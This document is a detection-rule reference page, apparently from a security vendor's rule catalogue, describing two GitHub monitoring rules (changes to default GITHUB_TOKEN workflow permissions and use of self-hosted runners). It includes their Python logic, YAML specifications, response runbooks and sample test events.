Tags
GitHub, Initial Access:Supply Chain Compromise
Reference
docs.github.com
Source
github.com/panther-labs/panther-analysis

Detects when the default workflow permissions for the GITHUB_TOKEN are modified at the organization level. GitHub Actions workflows use GITHUB_TOKEN for authentication, and changing these permissions can either expand or restrict what workflows can do by default. Unauthorized modifications could allow attackers to escalate privileges in CI/CD pipelines, potentially leading to supply chain compromise through malicious workflow modifications, unauthorized code deployments, or exfiltration of secrets. This is particularly concerning as it affects all repositories in the organization unless overridden at the repository level.

MITRE ATT&CK coverage

TacticTechniques
Initial Access

Telemetry coverage

Detection logic

def rule(event):

    return (
        event.get("action") == "org.set_default_workflow_permissions"
        and event.get("operation_type") == "modify"
    )


def title(event):
    return (
        f"Workflow permission settings for GITHUB_TOKENs have been changed"
        f" for your organization [{event.get('org')}]"
        f" by user [{event.get('actor')}]"
    )

Rule specification

AnalysisType: rule
Filename: github_workflow_permission_modified.py
RuleID: "GitHub.Workflow.PermissionsModified"
DisplayName: "GitHub Workflow Permissions Modified"
Enabled: true
LogTypes:
  - GitHub.Audit
Tags:
  - GitHub
  - Initial Access:Supply Chain Compromise
Reports:
  MITRE ATT&CK:
    - TA0001:T1195
Severity: Medium
Description: >
  Detects when the default workflow permissions for the GITHUB_TOKEN are modified at the organization level.
  GitHub Actions workflows use GITHUB_TOKEN for authentication, and changing these permissions can either
  expand or restrict what workflows can do by default. Unauthorized modifications could allow attackers to
  escalate privileges in CI/CD pipelines, potentially leading to supply chain compromise through malicious
  workflow modifications, unauthorized code deployments, or exfiltration of secrets. This is particularly
  concerning as it affects all repositories in the organization unless overridden at the repository level.
Runbook: |
  1. Identify the actor who modified the workflow permissions by reviewing the alert details for the 'actor' and 'actor_id' fields.
  2. Verify the legitimacy of the change:
     - Contact the user to confirm they made this change intentionally
     - Check if there was a recent change request or ticket associated with this modification
     - Verify the user's current role and whether they should have organization admin privileges
  3. Review the permission change details:
     - Navigate to GitHub Organization Settings > Actions > General > Workflow permissions
     - Document the current permission level (Read and write permissions vs. Read repository contents and packages permissions)
     - Check if "Allow GitHub Actions to create and approve pull requests" is enabled
  4. Assess the security impact:
     - Determine if permissions were expanded (potentially dangerous) or restricted (potentially disruptive)
     - Review recent workflow runs across the organization for any suspicious activity
     - Check for any new or modified workflows that may have been added around the time of this change
  5. If unauthorized or suspicious:
     - Immediately revert the permissions to the previous secure state
     - Review GitHub audit logs for other suspicious activities by the same actor
     - Check for any workflows that executed between the permission change and reversion
     - Rotate any secrets that may have been exposed
     - Consider revoking the actor's admin privileges pending investigation
     - Review all recent commits and pull requests for signs of compromise
  6. Implement preventive measures:
     - Enable branch protection rules requiring reviews for workflow file changes
     - Implement the principle of least privilege for workflow permissions at the repository level
     - Consider using environment protection rules for sensitive deployments
     - Enable secret scanning and push protection
     - Document approved workflow permission settings in your security policies
Reference: https://docs.github.com/en/actions/security-for-github-actions/security-guides/automatic-token-authentication#permissions-for-the-github_token

Stages and Predicates

Fires on GitHub.Audit events when all of the conditions below hold.

Condition

  • action is org.set_default_workflow_permissions
  • operation_type is modify

Indicators

These rows show field, operator, and value matches.

Output fields

Fields the rule emits when it matches, drawn from the rule's alert_context.

Field
org
actor

Response runbook

1. Identify the actor who modified the workflow permissions by reviewing the alert details for the 'actor' and 'actor_id' fields.

2. Verify the legitimacy of the change:

- Contact the user to confirm they made this change intentionally

- Check if there was a recent change request or ticket associated with this modification

- Verify the user's current role and whether they should have organization admin privileges

3. Review the permission change details:

- Navigate to GitHub Organization Settings > Actions > General > Workflow permissions

- Document the current permission level (Read and write permissions vs. Read repository contents and packages permissions)

- Check if "Allow GitHub Actions to create and approve pull requests" is enabled

4. Assess the security impact:

- Determine if permissions were expanded (potentially dangerous) or restricted (potentially disruptive)

- Review recent workflow runs across the organization for any suspicious activity

- Check for any new or modified workflows that may have been added around the time of this change

5. If unauthorized or suspicious:

- Immediately revert the permissions to the previous secure state

- Review GitHub audit logs for other suspicious activities by the same actor

- Check for any workflows that executed between the permission change and reversion

- Rotate any secrets that may have been exposed

- Consider revoking the actor's admin privileges pending investigation

- Review all recent commits and pull requests for signs of compromise

6. Implement preventive measures:

- Enable branch protection rules requiring reviews for workflow file changes

- Implement the principle of least privilege for workflow permissions at the repository level

- Consider using environment protection rules for sensitive deployments

- Enable secret scanning and push protection

- Document approved workflow permission settings in your security policies

Worked example

A sample event from the rule's unit tests that triggers a match.

Sample Test Event
{
  "_document_id": "2bY2MKh36kTq5SWjmj5__Q",
  "action": "org.set_default_workflow_permissions",
  "actor": "homersimpson",
  "actor_id": "12345678",
  "actor_is_bot": false,
  "actor_location": {
    "country_code": "US"
  },
  "at_sign_timestamp": "2025-10-15 18:41:19.605000000",
  "business": "yourcompany",
  "business_id": "1234",
  "created_at": "2025-10-15 18:41:19.605000000",
  "operation_type": "modify",
  "org": "YourCompany",
  "org_id": 123456780,
  "p_any_actor_ids": [
    "12345678"
  ],
  "p_any_usernames": [
    "homersimpson"
  ],
  "p_event_time": "2025-10-15 18:41:19.605000000",
  "p_log_type": "GitHub.Audit",
  "p_parse_time": "2025-10-15 18:54:06.098589038",
  "p_source_label": "AuditLog",
  "p_udm": {
    "user": {
      "name": "homersimpson",
      "provider_id": "12345678"
    }
  }
}

GitHub Workflow Using Self-Hosted Runner

#
Severity
informational
Log types
GitHub.Webhook
Tags
CI/CD, Workflow, Self-Hosted, Infrastructure
Reference
docs.github.com
Source
github.com/panther-labs/panther-analysis

Detects when a GitHub Actions workflow runs on a self-hosted runner.

MITRE ATT&CK coverage

Rules detecting the same action

These rules filter on the same operation.

Detection logic

def rule(event):
    # Only check completed workflow jobs
    if event.get("action") != "completed":
        return False

    # GitHub-hosted runners always have "GitHub Actions" in the runner_name
    # Self-hosted runners cannot use this reserved name
    runner_name = event.deep_get("workflow_job", "runner_name", default="")

    # Must have a runner name and it must not be GitHub-hosted
    if not runner_name:
        return False

    return not runner_name.startswith("GitHub Actions")


def title(event):
    workflow_name = event.deep_get("workflow_job", "name", default="Unknown Workflow")
    repo_name = event.deep_get("repository", "full_name", default="Unknown Repository")
    runner_name = event.deep_get("workflow_job", "runner_name", default="Unknown Runner")

    return f"Self-hosted runner '{runner_name}' used in workflow '{workflow_name}' for {repo_name}"


def alert_context(event):
    workflow_job = event.get("workflow_job", {})
    repository = event.get("repository", {})

    return {
        "workflow_name": workflow_job.get("name"),
        "workflow_job_id": workflow_job.get("id"),
        "workflow_run_id": workflow_job.get("run_id"),
        "workflow_url": workflow_job.get("html_url"),
        "repository": repository.get("full_name"),
        "repository_private": repository.get("private"),
        "repository_visibility": repository.get("visibility"),
        "head_branch": workflow_job.get("head_branch"),
        "head_sha": workflow_job.get("head_sha"),
        "conclusion": workflow_job.get("conclusion"),
        "runner_name": workflow_job.get("runner_name"),
        "runner_group_name": workflow_job.get("runner_group_name"),
        "runner_id": workflow_job.get("runner_id"),
        "runner_group_id": workflow_job.get("runner_group_id"),
        "actor": event.deep_get("sender", "login"),
    }


def severity(event):
    # Public or forkable repos with self-hosted runners have a medium risk
    repo_visibility = event.deep_get("repository", "visibility")
    allow_forking = event.deep_get("repository", "allow_forking", default=False)
    is_private = event.deep_get("repository", "private", default=True)

    if repo_visibility == "public" or (not is_private) or allow_forking:
        return "MEDIUM"

    # Private, non-forkable repos are low risk
    return "INFO"

Rule specification

AnalysisType: rule
Filename: github_self_hosted_runner_used.py
RuleID: "GitHub.Webhook.SelfHostedRunnerUsed"
DisplayName: "GitHub Workflow Using Self-Hosted Runner"
Enabled: true
LogTypes:
  - GitHub.Webhook
Reports:
  MITRE ATT&CK:
    - TA0001:T1195.002  # Supply Chain Compromise: Compromise Software Supply Chain
    - TA0002:T1072  # Execution: Software Deployment Tools
    - TA0008:T1021  # Lateral Movement: Remote Services
Tags:
  - CI/CD
  - Workflow
  - Self-Hosted
  - Infrastructure
CreateAlert: false
Severity: Info
DedupPeriodMinutes: 60
Description: Detects when a GitHub Actions workflow runs on a self-hosted runner.
Reference: https://docs.github.com/en/actions/hosting-your-own-runners/managing-self-hosted-runners/about-self-hosted-runners#self-hosted-runner-security

Stages and Predicates

Fires on GitHub.Webhook events when all of the conditions below hold.

Condition

  • action is completed
  • workflow_job.runner_name is present
  • workflow_job.runner_name does not start with GitHub Actions

Exclusions

The rule actively suppresses these predicates.

FieldKindExcluded valuesSearch
workflow_job.runner_namestarts_withGitHub Actionsexcludes:workflow_job.runner_name field:"workflow_job.runner_name" value:"GitHub Actions"

Indicators

These rows show field, operator, and value matches.

Output fields

Fields the rule emits when it matches, drawn from the rule's alert_context.

FieldSource
workflow_nameworkflow_job.name
workflow_job_idworkflow_job.id
workflow_run_idworkflow_job.run_id
workflow_urlworkflow_job.html_url
repositoryrepository.full_name
repository_privaterepository.private
repository_visibilityrepository.visibility
head_branchworkflow_job.head_branch
head_shaworkflow_job.head_sha
conclusionworkflow_job.conclusion
runner_nameworkflow_job.runner_name
runner_group_nameworkflow_job.runner_group_name
runner_idworkflow_job.runner_id
runner_group_idworkflow_job.runner_group_id
actorsender.login

Worked example

A sample event from the rule's unit tests that triggers a match.

Sample Test Event
{
  "action": "completed",
  "repository": {
    "allow_forking": true,
    "full_name": "example-org/example-repo",
    "id": 123456789,
    "private": false,
    "visibility": "public"
  },
  "sender": {
    "login": "developer"
  },
  "workflow_job": {
    "completed_at": "2025-10-15T18:41:54Z",
    "conclusion": "success",
    "head_branch": "main",
    "head_sha": "abc123",
    "id": 52841003143,
    "name": "Build",
    "run_id": 12345678,
    "run_url": "https://github.com/example-org/example-repo/actions/runs/12345678/job/52841003143",
    "runner_group_id": 1,
    "runner_group_name": "Default",
    "runner_id": 42,
    "runner_name": "my-runner-01",
    "started_at": "2025-10-15T18:31:06Z",
    "status": "completed",
    "steps": [
      {
        "conclusion": "success",
        "name": "Setup",
        "status": "completed"
      }
    ]
  }
}